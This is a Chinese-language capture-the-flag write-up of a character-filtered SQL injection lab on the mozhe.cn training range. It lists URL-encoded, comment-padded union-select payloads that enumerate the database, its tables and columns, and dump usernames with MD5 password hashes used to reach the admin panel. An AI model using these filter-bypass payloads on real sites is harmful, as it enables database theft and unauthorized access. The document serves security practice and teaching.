WEB安全-SQL过滤字符后手工注入漏洞测试(第2题)

前言

这是SQL注入的第十篇，紧接着上次的靶场来打，最近打完初级的SQL注入靶场就可以尝试打一打中级和高级的靶场了

链接如下：https://www.mozhe.cn/bug/detail/RkxnbzB6WWpWWjBuTDEyamZXNmJiQT09bW96aGUmozhe

正文

首先看一眼目标，和昨天的第一题的靶场没什么区别，开始尝试注入

还是熟悉的网页

先试试看字符型行不行，输入单引号没什么反应，试试看不经过Url转码，结果发现小彩蛋，还挺有趣，之后转码后尝试，发现和昨天的一样，都是数字型，接下来就是流程化作业了

order by试出数据库列数为4

http://219.153.49.228:47083/new_list.php?id=1/%2a%2a/%6f%72%64%65%72/%2a%2a/%62%79/%2a%2a/%34

获得回显为2和3位

219.153.49.228:47083/new_list.php?id=-1/%2a%2a/%75%6e%69%6f%6e/%2a%2a/%73%65%6c%65%63%74/%2a%2a/%31%2c%32%2c%33%2c%34

爆出数据库库名为 mozhe_discuz_stormgroup

http://219.153.49.228:47083/new_list.php?id=-1/%2a%2a/%75%6e%69%6f%6e/%2a%2a/%73%65%6c%65%63%74/%2a%2a/%31%2c%64%61%74%61%62%61%73%65%28%29%2c%33%2c%34

爆出数据表为  notice,stormgroup_member

http://219.153.49.228:47083/new_list.php?id=-1/%2a%2a/%75%6e%69%6f%6e/%2a%2a/%73%65%6c%65%63%74/%2a%2a/%31%2c%64%61%74%61%62%61%73%65%28%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%74%61%62%6c%65%5f%6e%61%6d%65%29%2c%34/%2a%2a/%66%72%6f%6d/%2a%2a/%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73/%2a%2a/%77%68%65%72%65/%2a%2a/%74%61%62%6c%65%5f%73%63%68%65%6d%61=%64%61%74%61%62%61%73%65%28%29

爆出stormgroup_member表的列为  id,length,name,password,time,status

http://219.153.49.228:47083/new_list.php?id=-1/%2a%2a/%75%6e%69%6f%6e/%2a%2a/%73%65%6c%65%63%74/%2a%2a/%31%2c%64%61%74%61%62%61%73%65%28%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%29%2c%34/%2a%2a/%66%72%6f%6d/%2a%2a/%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73/%2a%2a/%77%68%65%72%65/%2a%2a/%74%61%62%6c%65%5f%6e%61%6d%65=%27%73%74%6f%72%6d%67%72%6f%75%70%5f%6d%65%6d%62%65%72%27

获取name和password为  mozhe01，d1bff12cf951bbb9f8d1c3e59620255b；mozhe2，a6babd9eb561e9ffd6f5aad28851daa7；admin，07c05f6ac4eaa265c80bec1e938d99e1

http://219.153.49.228:47083/new_list.php?id=-1/%2a%2a/%75%6e%69%6f%6e/%2a%2a/%73%65%6c%65%63%74/%2a%2a/%31%2c%64%61%74%61%62%61%73%65%28%29%2c%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%6e%61%6d%65%2c%30%78%37%65%2c%70%61%73%73%77%6f%72%64%29%2c%34/%2a%2a/%66%72%6f%6d/%2a%2a/%6d%6f%7a%68%65%5f%64%69%73%63%75%7a%5f%73%74%6f%72%6d%67%72%6f%75%70%2e%73%74%6f%72%6d%67%72%6f%75%70%5f%6d%65%6d%62%65%72

md5解密后输入账号密码，登陆后台获取key

总结

其实感觉第二题和第一题没什么区别，重点就是怎么过滤的问题，知道怎么过滤后很简单，可能第二题也就多了一个Error页面，其他的和第一题一样，在此不做赘述